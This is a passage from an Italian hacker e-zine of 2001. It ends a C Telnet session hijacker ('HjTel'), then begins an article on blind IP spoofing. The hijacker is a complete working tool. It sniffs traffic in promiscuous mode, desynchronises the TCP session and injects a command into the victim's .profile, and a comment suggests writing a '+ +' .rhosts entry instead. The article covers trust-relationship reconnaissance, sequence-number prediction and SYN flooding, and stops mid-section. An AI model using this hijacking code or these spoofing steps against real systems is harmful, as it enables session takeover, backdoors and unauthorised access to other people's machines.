|        if ( ioctl(fd_recive, SIOCSIFFLAGS, &eth) < 0) \{                       |\
|                fprintf(stderr, "Can't put Ethernet in PROMISC mode.\\n");      |\
|                exit(1);                                                       |\
|        \}                                                                      |\
|     exit(0);                                                                  |\
| \}                                                                             |\
|                                                                               |\
|                                                                               |\
| unsigned short in_cksum(unsigned short *addr,int len)                         |\
| \{                                                                             |\
|         register long sum = 0;            /* assumes long == 32 bits */       |\
|         register unsigned short *w = addr;                                    |\
|         unsigned short answer = 0;         /* assumes u_short == 16 bits */   |\
|         register int nleft = len;;                                            |\
|                                                                               |\
|         /*                                                                    |\
|         * Our algorithm is simple, using a 32-bit accumulator (sum),          |\
|         * we add sequential 16-bit words to it, and at the end, fold back     |\
|         * all the carry bits from the top 16 bits into the lower 16 bits.     |\
|         */                                                                    |\
|                                                                               |\
|      while (nleft > 1)                                                        |\
|         \{                                /* per tutta la funzione:il          |\
| checksum*/                                                                    |\
|                                        /* viene calcolato solo sull'header    |\
| IP*/                                                                          |\
|                                         /*non sui dati che trasmette*/        |\
|         sum += *w++;                   /*per la creazione di pacchetti        |\
| quali*/                                                                       |\
|                                         /*IP,UDP ecc dobbiamo calcolare*/     |\
|                                         /* il checksum...si fa con la         |\
| funzione*/                                                                    |\
|         nleft -= 2;                     /*rippata dal codice di               |\
| ping.c:-)))*/                                                                 |\
|         \}                                                                     |\
|                                                                               |\
|                 /* mop up an odd byte, if necessary */                        |\
|         if (nleft == 1)                                                       |\
|         \{                                                                     |\
|         *(u_char *) (&answer) = *(u_char *)w;   /* one byte only */           |\
|         sum += answer;                                                        |\
|         \}                                                                     |\
|                                                                               |\
|         /*                                                                    |\
|         * Add back carry outs from top 16 bits to low 16 bits.                |\
|         */                                                                    |\
|                                                                               |\
|         sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */   |\
|         sum += (sum >> 16);                     /* add carry */               |\
|         answer = ~sum;          /* ones-complement, then truncate to 16 bits  |\
| */                                                                            |\
|                                                                               |\
|         return(answer);                                                       |\
| \}                                                                             |\
|                                                                               |\
| unsigned long nameResolve(char *hostname)                                     |\
| \{                                                                             |\
|         struct in_addr addr;                                                  |\
|         struct hostent *hostEnt;                                              |\
|                                                                               |\
|         if((addr.s_addr=inet_addr(hostname)) == -1)                           |\
|         /*qui chiaramente fa il controllo sull'esistenza o meno del server*/  |\
|         \{                                                                     |\
|         if(!(hostEnt=gethostbyname(hostname)))                                |\
|         \{                                                                     |\
|                 fprintf(stderr,"Unknown host:`%s`\\n",hostname);               |\
|                 exit(0);                                                      |\
|         \}                                                                     |\
|         bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);        |\
|         \}                                                                     |\
|         return addr.s_addr;                                                   |\
| \}                                                                             |\
|                                                                               |\
|                                                                               |\
| /* from Spoofit by coder@reptile */                                           |\
| void wait_packet_timeout (int sig)                                            |\
| \{                                                                             |\
| alarm(0);                                                                     |\
| WAIT_PACKET_WAIT_TIME=1;                                                      |\
| \}                                                                             |\
|                                                                               |\
| int wait_pk(int fd,struct wait_packet *infoz,                                 |\
| /* fd \'8a un socket di ricezione*/                                              |\
|                 char *wp_source, unsigned short wp_source_port,               |\
| /* wp_source e wp_source_port sono coloro che mandano il pacchetto*/          |\
|                 char *wp_dest, unsigned short wp_dest_port, int wp_flags,     |\
|                 int wait_time)                                                |\
|                 /*i due wp qui sono i riceventi*/                             |\
| \{                                                                             |\
|         char wp_buffer[1500];                                                 |\
|         struct IPhdr *ip;                                                     |\
|         struct TCPhdr *tcp;                                                   |\
|         unsigned long sourcel, destl;                                         |\
|         int tcpstart;                                                         |\
|         char proto;                                                           |\
|                                                                               |\
|         sourcel = nameResolve(wp_source);                                     |\
|         destl = nameResolve(wp_dest);                                         |\
|                                                                               |\
|         WAIT_PACKET_WAIT_TIME=0;                                              |\
|         if(wait_time!=0) \{                                                    |\
|                 signal(SIGALRM,wait_packet_timeout);                          |\
|                 alarm(wait_time);                                             |\
|         \}                                                                     |\
|                                                                               |\
|         while(1) \{                                                            |\
|                 while(sniff_pk(fd, wp_buffer, &tcpstart, &proto)<=0) \{        |\
|                         if (WAIT_PACKET_WAIT_TIME!=0) \{                       |\
|                                 alarm(0);                                     |\
|                                 return -1;                                    |\
|                         \}                                                     |\
|                 \};                                                            |\
|            if(proto == 6) \{                                                   |\
|                 ip= (struct IPhdr *) wp_buffer;                               |\
|                 tcp= (struct TCPhdr *) (wp_buffer+tcpstart);                  |\
|                 if((sourcel==ip->saddr) && (destl==ip->daddr)) \{              |\
|                   if(((ntohs(tcp->source)==wp_source_port)                    |\
|                      || (wp_source_port==0)) &&                               |\
|                        ((ntohs(tcp->dest)==wp_dest_port)                      |\
|                         || (wp_dest_port==0))) \{                              |\
|                         if( (wp_flags==0) ||                                  |\
| (ntohs(tcp->offset_flag)&wp_flags))                                           |\
|                         \{                                                     |\
|                                 infoz->source_p=ntohs(tcp->source);           |\
|                                 infoz->dest_p=ntohs(tcp->dest);               |\
|                                 infoz->seq=ntohl(tcp->seq);                   |\
|                                 infoz->ack=ntohl(tcp->ack_seq);               |\
|                                 infoz->flags=ntohs(tcp->offset_flag)&         |\
|                                             (URG|ACK|PSH|FIN|RST|SYN);        |\
|                                 infoz->datalen = ntohs(ip->tot_len) -         |\
|                                 ((ip->verlen & 0xF) << 2) -                   |\
|                                 ((ntohs(tcp->offset_flag) & 0xF000) >> 10);   |\
|                                 alarm(0);                                     |\
|                                 return 0;                                     |\
|                         \}                                                     |\
|                 \}                                                             |\
|             \}                                                                 |\
|         \}                                                                     |\
|     \}                                                                         |\
| \}                                                                             |\
|                                                                               |\
| void trans_tcp (int sp_fd, char *sp_data,int sp_ipoptlen, int sp_tcpoptlen,   |\
|                 int sp_datalen, char *sp_source, unsigned short               |\
| sp_source_port,                                                               |\
|                 char *sp_dest, unsigned short sp_dest_port, unsigned long     |\
|                 sp_seq, unsigned long sp_ack, unsigned short sp_flags)        |\
|                                                                               |\
|                 /* trans nel senso trasmittente...insomma,ci siamo            |\
| capiti;-)*/                                                                   |\
| \{                                                                             |\
|         char sp_buffer[1500];                                                 |\
|         char pseudoconstruct[MTU];                                            |\
|         struct pseudoIP *pseudo;                                              |\
|         struct TCPhdr *newtcp;                                                |\
|         struct IPhdr *newip;                                                  |\
|         int shooten;                                                          |\
|         struct sockaddr_in target;                                            |\
|                                                                               |\
|         bzero(sp_buffer,1500);                                                |\
|         if (sp_datalen!=0)                                                    |\
|                                                                               |\
| memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,         |\
|         sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);                         |\
|                                                                               |\
|         newtcp=(struct TCPhdr *)(sp_buffer+IP_HEAD_BASE+sp_ipoptlen);         |\
|         pseudo=(struct pseudoIP *) pseudoconstruct;                           |\
|                                                                               |\
|         newtcp->offset_flag = htons( (((TCP_HEAD_BASE+sp_tcpoptlen)/4)<<12)   |\
|                                                                               |\
|                                         sp_flags);                            |\
|         newtcp->seq = htonl(sp_seq);                                          |\
|         newtcp->ack_seq = htonl(sp_ack);                                      |\
|         newtcp->source = htons(sp_source_port);                               |\
|         newtcp->dest = htons(sp_dest_port);                                   |\
|         newtcp->window = htons(0x7c00);                                       |\
|                                                                               |\
|         pseudo->source = nameResolve(sp_source);                              |\
|         pseudo->dest = nameResolve(sp_dest);                                  |\
|         pseudo->zero_byte = 0;                                                |\
|         pseudo->protocol = 6;                                                 |\
|         pseudo->TCP_UDP_len = htons(sp_datalen+TCP_HEAD_BASE+sp_tcpoptlen);   |\
|                                                                               |\
|         memcpy(pseudoconstruct+12, newtcp,                                    |\
| sp_tcpoptlen+sp_datalen+TCP_HEAD_BASE                                         |\
|                );                                                             |\
|         newtcp->checksum=in_cksum((unsigned short *) pseudoconstruct,         |\
| sp_datalen                                                                    |\
|                 + 12 + TCP_HEAD_BASE + sp_tcpoptlen);                         |\
|                                                                               |\
|         newip = (struct IPhdr *) (sp_buffer);                                 |\
|         newip->checksum=0;                                                    |\
|         newip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp_ipoptlen)/4);   |\
|         newip->type = 0;                                                      |\
|         newip->tot_len = htons(IP_HEAD_BASE + TCP_HEAD_BASE + sp_datalen      |\
|                 + sp_ipoptlen + sp_tcpoptlen);                                |\
|         newip->ID = htons(12545);                                             |\
|         newip->flag_offset = 0;                                               |\
|         newip->TTL = 255;                                                     |\
|         newip->protocol = IPPROTO_TCP;                                        |\
|         newip->saddr = nameResolve(sp_source);                                |\
|         newip->daddr = nameResolve(sp_dest);                                  |\
|         newip->checksum=in_cksum((unsigned short *) (sp_buffer),              |\
| IP_HEAD_BASE                                                                  |\
|                         + sp_ipoptlen);                                       |\
|                                                                               |\
|         bzero((char *) &target, sizeof(struct sockaddr));                     |\
|         target.sin_family = AF_INET;                                          |\
|         target.sin_addr.s_addr = nameResolve(sp_dest);                        |\
|                                                                               |\
|         shooten = sendto(sp_fd, (char *)(sp_buffer), sp_datalen +             |\
| TCP_HEAD_BASE                                                                 |\
|         + IP_HEAD_BASE + sp_ipoptlen, 0, (struct sockaddr *) &target,         |\
|                         sizeof(struct sockaddr));                             |\
|                                                                               |\
| \}                                                                             |\
|                                                                               |\
| int sniff_pk                                                                  |\
| (int sniff_fd, char *buffer, int *tcpstart, char *proto)                      |\
| \{                                                                             |\
|         struct IPhdr    *IP;                                                  |\
|         char    sniff_buffer[1500];                                           |\
|         int pack_len;                                                         |\
|                                                                               |\
|         pack_len = read(sniff_fd, sniff_buffer, MTU);                         |\
|         if (read > 0) \{                                                       |\
|                 pack_len -=DEV_PREFIX;                                        |\
|                 memcpy(buffer, sniff_buffer+DEV_PREFIX, pack_len);            |\
|                 IP = (struct IPhdr *)buffer;                                  |\
|                 if (proto != NULL) *proto = IP->protocol ;                    |\
|                 if(tcpstart != NULL)                                          |\
|                 *tcpstart = (IP->verlen & 0xF) << 2;                          |\
|         \}                                                                     |\
|         return pack_len;                                                      |\
| \}                                                                             |\
|                                                                               |\
|                                                                               |\
| /*ok...tutto quello che c'era l\'ec sopra \'e8 contenuta nel bellissimo spoofit.h   |\
| di*/                                                                          |\
| /*coder@reptile!*/                                                            |\
| /*avrei anche fatto prima...ma cos\'ec pochi se lo sarebbero letto e             |\
| avrebbero*/                                                                   |\
| /* realmente capito!*/                                                        |\
| /*ora iniziamo la parte finale del codice...il main&co...good work!           |\
| */                                                                            |\
|                                                                               |\
|                                                                               |\
| int main(int argc, char *argv[])                                              |\
| \{                                                                             |\
|         int h,k,cont;                                                         |\
|         char CLIENT[100], SERVER[100] ;                                       |\
|         /*fin qui direi che \'8a chiaro,no:-PP*/                                 |\
|         int CLIENT_PORT ;                                                     |\
|         struct wait_packet pk_info;                                           |\
|         unsigned long spoof_seq, spoof_ack;                                   |\
|         unsigned long old_seq, old_ack;                                       |\
|         unsigned long serv_seq, serv_ack;                                     |\
|                                                                               |\
|         char cleaner[]=\{0x08,0x08,0x08,0x08,0x08,0x08,0x0a,0x0a\};             |\
|         /*sono i dati che ci servono per pulire*/                             |\
|                                                                               |\
|        /*la linea della shell...dove poi mettiamo i nostri dati!*/            |\
|          char evil_data[]="echo \\"echo SESSION HACKED BY CITY HUNTER!Pay      |\
|          attention next time!!\\" >>$HOME/.profile\\n";                         |\
|         /*la riga sopra \'e8 quella fondamentale per i nostri loschi scopi!*/    |\
|         /*Provate a fare qualcosa di simile a "echo + + >>/.rhosts"*/         |\
|         /*lo fece un tipo di nome Mitnick...qualcosa di simile:-)))(ha        |\
| usato*/                                                                       |\
|         /* lo spoofing cieco lui)*/                                           |\
|                 if(argc!=4)                                                   |\
|                         \{                                                     |\
|         printf("\\n\\t|**************************************************|");   |\
|         printf("\\n\\t|  Hjtel     -Telnet Hijacker-     by City Hunter  |\\n"); |\
|         printf("\\t|++++++++++++++++++++++++++++++++++++++++++++++++++|\\n");   |\
|         printf("\\t|    %s  CLiENT H0ST  TCP P0RT  TARGET        |\\n",         |\
| argv[0]);                                                                     |\
|                                                                               |\
| printf("\\t|**************************************************|\\n\\n");         |\
|                         exit(1);                                              |\
|         \}                                                                     |\
|         strcpy(CLIENT, argv[1]);                                              |\
|         strcpy(SERVER, argv[3]);                                              |\
|         CLIENT_PORT=atoi(argv[2]);                                            |\
|                                                                               |\
|         DEV_PREFIX = INTERFACE_PREFIX ;                                       |\
|         if ((fd_send = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) <0 ) \{         |\
|                 perror("Non riesco ad aprire il RAW S0CKETS ");               |\
|                 exit(1);                                                      |\
|         \}                                                                     |\
|         fd_recive = if_init(INTERFACE);                                       |\
|         printf("\\n\\t|************************************************|");     |\
|         printf("\\n\\t| Hjtel   -Telnet Hijacker-       by City HUnter |\\n");   |\
|         printf("\\t|++++++++++++++++++++++++++++++++++++++++++++++++|\\n");     |\
|         printf("\\t|          (si dia inizio alle danze!:-))        |\\n");     |\
|         printf("\\t|************************************************|\\n\\n");   |\
|                                                                               |\
|                                                                               |\
|         for (h=0;h<50;h++) \{                                                  |\
|                 printf(">-------------------------------->\\n");               |\
|                 printf(" STEP  #1 : TELNET Sniff'n'Desync \\n");               |\
|                 printf("<--------------------------------<\\n");               |\
|                                                                               |\
|                 wait_pk(fd_recive, &pk_info, CLIENT, CLIENT_PORT, SERVER,     |\
|                         23, ACK|PSH,0);                                       |\
|                 spoof_seq=pk_info.seq + pk_info.datalen;                      |\
|                 spoof_ack=pk_info.ack;                                        |\
|                 printf("\\nCCCII   Sto sniffando la connessione   TTTYY\\n");   |\
|                 printf("%s:%i > %s:23 SEQ:%X (hex) ACK:%X (hex)\\n", CLIENT,   |\
|                         CLIENT_PORT, SERVER, pk_info.seq, pk_info.ack);       |\
|                 printf("\\nHUN Sp00fing to Desync TER\\n");                     |\
|                 printf("Sending TCP packet with SEQ %X ACK %X                 |\
| FLAGS:ACK|PSH",                                                               |\
|                         spoof_seq, spoof_ack);                                |\
|                 trans_tcp(fd_send, cleaner, 0, 0, sizeof(cleaner), CLIENT,    |\
|                 CLIENT_PORT, SERVER, 23, spoof_seq, spoof_ack, ACK|PSH);      |\
|                 cont = 0;                                                     |\
|                 printf("\\n\\n>LO Waiting f0r Desync_C0nfirm VE<\\n");           |\
|                 while (cont<5) \{                                              |\
|                         wait_pk(fd_recive, &pk_info, SERVER, 23, CLIENT,      |\
|                                 CLIENT_PORT, ACK,0);                          |\
|                         if(pk_info.ack==spoof_seq + sizeof(cleaner))          |\
|                                 cont=MY_TOUCH;                                |\
|                         else cont++;                                          |\
|                 \}                                                             |\
|                 if(cont!=MY_TOUCH) \{                                          |\
|                         printf("\\t<--------------------------------->\\n");    |\
|                         printf("\\t STEP  #1 N0T SUCCEDED ... L00PiNG\\n");     |\
|                         printf("\\t<--------------------------------->\\n");    |\
|                 \}                                                             |\
|                 else \{                                                        |\
|                         printf("### Step #1 0K. ###\\n");                      |\
|                         printf(">>> YEAHHHHHHH  <<<\\n");                      |\
|                         break;                                                |\
|                 \}                                                             |\
|         \}                                                                     |\
|                                                                               |\
|         printf("\\n<------------------------------------<\\n");                 |\
|         printf(" STEP  #2 - GETTING SYN/ACK 0NCE M0RE\\n");                    |\
|         printf(">------------------------------------>\\n");                   |\
|         cont = serv_seq = old_ack = 0;                                        |\
|         while(cont<10) \{                                                      |\
|                 old_seq = serv_seq;                                           |\
|                 old_ack = serv_ack;                                           |\
|                 wait_pk(fd_recive, &pk_info, SERVER, 23, CLIENT, CLIENT_PORT, |\
|                         ACK,0);                                               |\
|                 if (pk_info.datalen == 0) \{                                   |\
|                         serv_seq=pk_info.seq + pk_info.datalen;               |\
|                         serv_ack=pk_info.ack;                                 |\
|                         if ((old_seq==serv_seq)&&(serv_ack==old_ack))         |\
|                                 cont = MY_TOUCH;                              |\
|                         else cont++;                                          |\
|                 \}                                                             |\
|         \}                                                                     |\
|         if(cont!=MY_TOUCH) \{                                                  |\
|                 printf("\\t<-------------------------------->\\n");             |\
|                 printf("\\t STEP  #2 NOT SUCCEDED. SHIT!!! \\n");               |\
|                 printf("\\t<-------------------------------->\\n");             |\
|                 exit(0);                                                      |\
|         \}                                                                     |\
|         printf("Server SEQ: %X (hex)\\tACK: %X (hex)\\n", serv_seq, serv_ack);  |\
|         printf(">HA Step  #2 0K. CK<\\n");                                     |\
|                                                                               |\
|                                                                               |\
| printf("\\n<----------------------------------------------------<\\n");         |\
|         printf("                 STEP  #3 - SENDING 0UR DATA                  |\
| \\n");                                                                         |\
|         printf(">---------------------------------------------------->\\n");   |\
|         printf(">>> HIHIHIHI Injecting Evil Data in the connection <<<\\n");   |\
|         trans_tcp(fd_send, evil_data, 0,                                      |\
| 0,sizeof(evil_data),CLIENT,CLIENT_PORT,                                       |\
|                 SERVER, 23, serv_ack, serv_seq, ACK|PSH);                     |\
|         cont=0;                                                               |\
|         printf("\\n>>> Waiting for Confirm <<<\\n");                            |\
|         while(cont<5) \{                                                       |\
|                 wait_pk(fd_recive, &pk_info, SERVER, 23, CLIENT, CLIENT_PORT, |\
|                         ACK,0);                                               |\
|                 if(pk_info.ack==serv_ack+sizeof(evil_data))                   |\
|                         cont=MY_TOUCH;                                        |\
|                 else cont++;                                                  |\
|         \}                                                                     |\
|         if (cont!=MY_TOUCH) \{                                                 |\
|                 printf("\\t<--------------------->\\n");                        |\
|                 printf("\\t STEP #3 N0T SUCCEDED\\n");                          |\
|                 printf("\\t<--------------------->\\n\\n");                      |\
|                 exit(0);                                                      |\
|         \}                                                                     |\
|         printf("*** STEP  #3 0K ***\\n\\n");                                    |\
|         printf(" >>> Great Hijacking :-)) <<< \\n");                           |\
|         printf(" <<< SEE YA GUYS  <<<\\n");                                    |\
|         exit(0);                                                              |\
| \}                                                                             |\
|                                                                               |\
| ---------------------------------------taglia acch\'ec-------------------------- |\
|                                                                               |\
| Ok!!!Abbiamo finito! Il codice \'e8 stato compilato con successo su Mandrake8.0. |\
| "gcc -o HjTel HjTel.c" per compilarlo.\tab \tab \tab \tab \tab |\
| Ultime precisazioni:questo genere di attacco \'e8 molto duro da attuare su       |\
| Internet. Se non siete su una LAN avrete vita davvero dura!Quindi il supporto |\
| ppp \'e8 abbastanza inutile,se volete provare questo Telnet Hijacker mettetelo   |\
| sotto Eth.\tab \tab \tab \tab \tab \tab \tab \tab \tab |\
| Credo di aver finito il tutto...spero abbiate capito qualcosina e per         |\
| qualsiasi                                                                     |\
| cosa scrivetemi!                                                              |\
| Ora vado a vedermi le Iene!Ancora una cosa...se create voi qualcosa di        |\
| carino...                                                                     |\
| mandatemelo!!!!                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [HACKiNG]                                       #04 - 19/11/2001 |\
| iP SP00FiNG ATTACK                                           [E4zy] 0x08/0x23 |\
+-------------------------------------------------------------------------------+\
| Credits:                                                                      |\
|                                                                               |\
| Ringrazio tutti coloro che si sono resi disponibili dando il loro contributo  |\
|                                                                               |\
| con idee e suggerimenti che si sono rivelati utili nella stesura del          |\
| presente articolo, un ringraziamento particolare va anche a tutti coloro che  |\
|                                                                               |\
| mi hanno assecondato nelle mie seghe mentali sui protocolli, grazie zapotecz  |\
|                                                                               |\
| :))                                                                           |\
| Un grande fuck va invece al lamer che di fronte a una mia domanda ha reagito  |\
|                                                                               |\
| in questo modo:                                                               |\
|                                                                               |\
| <E4zy> devo isolare la formula che permette di predire un numero sequenziale  |\
| in una sessione spoofed                                                       |\
| <[Gi0bbE]> E4zy: come cazzo parli?                                            |\
| *** E4zy was kicked by [Gi0bbE]                                               |\
|                                                                               |\
| E poi ci lamentiamo dell'underground italiano...                              |\
| Finito questo sfogo personale passiamo all'articolo :)                        |\
|                                                                               |\
| Indice:                                                                       |\
|                                                                               |\
| 1. Relazioni di fiducia                                                       |\
|   1.1 In cosa consistono (.rhosts)                                            |\
|   1.2 Come trovarle (showmount -e, rpcinfo)                                   |\
|     1.2.1 Esempio                                                             |\
|                                                                               |\
| 2. Comandi di accesso remoto (rlogin, rsh, rcp, rwho)                         |\
|                                                                               |\
| 3. TCP/IP                                                                     |\
|   3.1 Schema intestazione TCP                                                 |\
|   3.2 Handshaking a tre vie del TCP                                           |\
|   3.3 Numero sequenziale iniziale (ISN)                                       |\
|                                                                               |\
| 4. IP Spoofing                                                                |\
|   4.1 SYN flood                                                               |\
|     4.1.1 Esempio                                                             |\
|   4.2 Predizione del numero sequenziale                                       |\
|     4.2.1 Esempio                                                             |\
|   4.3 Impersonificazione dell'host di fiducia                                 |\
|     4.3.1 Esempio                                                             |\
|                                                                               |\
| 5. Backdoor                                                                   |\
|   5.1 Esempio                                                                 |\
|                                                                               |\
| 6. Parte pratica                                                              |\
|   6.1 Uso di Nmap e del programma Mendax                                      |\
|                                                                               |\
| 7. Contromisure                                                               |\
|                                                                               |\
|                                                                               |\
| 1. Relazioni di fiducia                                                       |\
| Il file .rhosts gestisce l'accesso remoto al proprio account utente, sar\'e0     |\
| sufficiente creare un file con tale nome opportunamente configurato e         |\
| posizionarlo nella propria home directory per dar modo agli utenti remoti di  |\
|                                                                               |\
| loggarsi al sistema senza bisogno di fornire password alcuna. Questo sistema  |\
|                                                                               |\
| di autenticazione \'e8 appunto basato sull'ip address che assume un ruolo di     |\
| garante nella procedura di login.                                             |\
|                                                                               |\
| 1.1 In cosa consistono (.rhosts)                                              |\
| La creazione di un file .rhosts \'e8 una procedura sin troppo banale, si crei    |\
| un file di nome .rhosts e lo si posizioni all'interno della propria home      |\
| directory, sar\'e0 sufficiente inserire al suo interno quanto segue:             |\
|                                                                               |\
| hostname username                                                             |\
|                                                                               |\
| Dove "hostname" e "username" sono rispettivamente l'hostname e l'username     |\
| del sistema remoto a cui concediamo l'accesso. L'impiego di un client rlogin  |\
|                                                                               |\
| permette l'autenticazione senza password.                                     |\
|                                                                               |\
| 1.2 Come trovarle (showmount -e, rpcinfo)                                     |\
| Comandi come finger, showmount e rpcinfo possono rivelare informazioni utili  |\
|                                                                               |\
| nell'individuazione di sistemi che godano di una relazione di fiducia con     |\
| l'host target.                                                                |\
|                                                                               |\
| 1.2.1 Esempio                                                                 |\
| Tratto dal testo "How Mitnick hacked Tsutomu Shimomura with an IP sequence    |\
| attack"                                                                       |\
|                                                                               |\
| "The IP spoofing attack started at about 14:09:32 PST on 12/25/94.  The       |\
| first probes were from toad.com (this info derived from packet logs):         |\
|                                                                               |\
| 14:09:32 toad.com# finger -l @target                                          |\
| 14:10:21 toad.com# finger -l @server                                          |\
| 14:10:50 toad.com# finger -l root@server                                      |\
| 14:11:07 toad.com# finger -l @x-terminal                                      |\
| 14:11:38 toad.com# showmount -e x-terminal                                    |\
| 14:11:49 toad.com# rpcinfo -p x-terminal                                      |\
| 14:12:05 toad.com# finger -l root@x-terminal                                  |\
|                                                                               |\
| The apparent purpose of these probes was to determine if there might be some  |\
|                                                                               |\
| kind of trust relationship amongst these systems which could be exploited     |\
| with an IP spoofing attack.  The source port numbers for the showmount and    |\
| rpcinfo indicate that the attacker is root on toad.com."                      |\
|                                                                               |\
| 2. Comandi di accesso remoto (rlogin, rsh, rcp, rwho)                         |\
| Quella che segue \'e8 la sintassi per esteso del comando rlogin, le parentesi    |\
| quadre indicano opzionalit\'e0:                                                  |\
|                                                                               |\
| rlogin hostname [-l username]                                                 |\
|                                                                               |\
| Dall'esecuzione del comando rlogin ne deriver\'e0 l'autenticazione sul sistema   |\
| remoto basata sull'indirizzo ip del sistema richiedente il servizio, sar\'e0 a   |\
| questo punto possibile eseguire comandi godendo dei privilegi associati       |\
| all'utente.                                                                   |\
|                                                                               |\
| 3. TCP/IP                                                                     |\
| Il TCP (Transmission Control Protocol) \'e8 responsabile delle comunicazioni     |\
| orientate alla connessione su una rete TCP/IP. Per garantire un buon livello  |\
|                                                                               |\
| di attendibilit\'e0 della comunicazione, durante una sessione TCP i due host si  |\
|                                                                               |\
| servono di numeri sequenziali e di conferme per assicurare un corretto        |\
| trasferimento dei pacchetti (connesso e confermato).                          |\
| La maggior parte del traffico \'e8 incapsulato in intestazioni IP (Internet      |\
| Protocol), esso offre la consegna di informazioni senza connessione e senza   |\
| garanzia (non connesso e non confermato), significa che il protocollo IP non  |\
|                                                                               |\
| provvede ad effettuare alcun controllo sulle informazioni inviate. Ne         |\
| consegue che i pacchetti potrebbero non giungere a destinazione o arrivare    |\
| in ordine non sequenziale. Questo rende facile sovvertire tale protocollo     |\
| allo scopo di forgiare pacchetti aventi indirizzo sorgente arbitrario.        |\
|                                                                               |\
| 3.1 Schema intestazione TCP                                                   |\
| Tratto dall'RFC 793 "Transmission Control Protocol"                           |\
|                                                                               |\
|                                                                               |\
|     0                   1                   2                   3             |\
|     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1           |\
|    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+          |\
|    |          Source Port          |       Destination Port        |          |\
|    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+          |\
|    |                        Sequence Number                        |          |\
|    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+          |\
|    |                    Acknowledgment Number                      |          |\
|    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+          |\
|    |  Data |           |U|A|P|R|S|F|                               |          |\
|    | Offset| Reserved  |R|C|S|S|Y|I|            Window             |          |\
|    |       |           |G|K|H|T|N|N|                               |          |\
|    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+          |\
|    |           Checksum            |         Urgent Pointer        |          |\
|    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+          |\
|    |                    Options                    |    Padding    |          |\
|    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+          |\
|    |                             data                              |          |\
|    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+          |\
|                                                                               |\
|                                                                               |\
| 3.2 Handshaking a tre vie del TCP                                             |\
| Quando un host mittente (M) vuole stabilire una connessione TCP con un host   |\
| destinatario (D), quest'ultimo deve acconsentire affinch\'e8 la comunicazione    |\
| abbia luogo. Questo meccanismo \'e8 conosciuto con il nome di handshaking a tre  |\
|                                                                               |\
| vie del TCP, si possono isolare tre fasi:                                     |\
|                                                                               |\
| 1) L'host che desidera stabilire una sessione invia all'host destinatario un  |\
|                                                                               |\
| pacchetto TCP con il flag SYN pari a 1. Invia inoltre il proprio numero       |\
| sequenziale iniziale (ISN) all'host destinatario.                             |\
| 2) L'host destinatario nel caso decida di accettare la richiesta di           |\
| connessione risponde con una conferma impostando i flag SYN e ACK pari a 1.   |\
| Il campo acknowledgment number viene impostato pari al valore dell'ISN        |\
| ricevuto precedentemente incrementato di uno. Invia inoltre il proprio        |\
| numero sequenziale iniziale (ISN) all'host mittente.                          |\
| 3) L'host mittente risponde ancora una volta all'host destinatario con un     |\
| pacchetto TCP con il flag ACK uguale a 1 e il campo acknowledgment number     |\
| impostato pari al valore dell'ISN dell'host destinatario ricevuto in          |\
| precedenza incrementato di uno.                                               |\
|                                                                               |\
|                                                                               |\
| 1       M  -->  D  SYN=1, ISN=100                                             |\
|                                                                               |\
| 2       M  <--  D  SYN=1, ACK=1, ack=101, ISN=250                             |\
|                                                                               |\
| 3       M  -->  D  ACK=1, ack=251                                             |\
|                                                                               |\
| M = mittente                                                                  |\
| D = destinatario                                                              |\
|                                                                               |\
|                                                                               |\
| 3.3 Numero sequenziale iniziale (ISN)                                         |\
| Il valore dell'ISN viene impostato pari a 1 al momento del boot del sistema,  |\
|                                                                               |\
| esso cambia il proprio valore in base la tempo trascorso da tale operazione,  |\
|                                                                               |\
| pi\'f9 precisamente il generatore di ISN incrementa il valore del sequence       |\
| number di 128.000 ogni secondo e di 64.000 ad ogni nuova connessione          |\
| instaurata.                                                                   |\
|                                                                               |\
| 4. IP Spoofing                                                                |\
| Il primo passo consiste nello scegliere un sistema bersaglio, si individuino  |\
|                                                                               |\
| gli host che godano di una relazione di fiducia con l'host bersaglio, \'e8       |\
| necessario disabilitare l'host di fiducia tramite un attacco SYN flood, a     |\
| questo punto si procede al campionamento dell'ISN dell'host bersaglio allo    |\
| scopo di facilitare la predizione di tale numero durante l'instaurazione      |\
| della sessione spoofed, una volta instaurata la connessione ad un servizio    |\
| che richiede l'autenticazione mediante IP address avremo la possibilit\'e0 di    |\
| eseguire una backdoor sul sistema bersaglio che ci garantir\'e0 un accesso       |\
| agevole in futuro.                                                            |\
| Questa tecnica \'e8 conosciuta anche con il termine di "attacco cieco" questo \'e8  |\
|                                                                               |\
| dovuto al fatto che l'IP spoofing non ci permette di instaurare una           |\
| connessione bidirezionale con l'host bersaglio, di fatto tutto il traffico    |\
| di ritorno sar\'e0 instradato verso l'host di fiducia che sar\'e0 impossibilitato   |\
| nel fornire qualsiasi risposta.                                               |\
|                                                                               |\
| 4.1 SYN flood                                                                 |\
| Una volta trovato un host che goda di relazioni di fiducia nei confronti di   |\
| un potenziale sistema bersaglio bisogna metterlo nelle condizioni di non      |\
| poter rispondere al traffico di ritorno generato nel momento in cui lo        |\
| impersoneremo allo scopo di instaurare una sessione spoofed. Se l'host di     |\
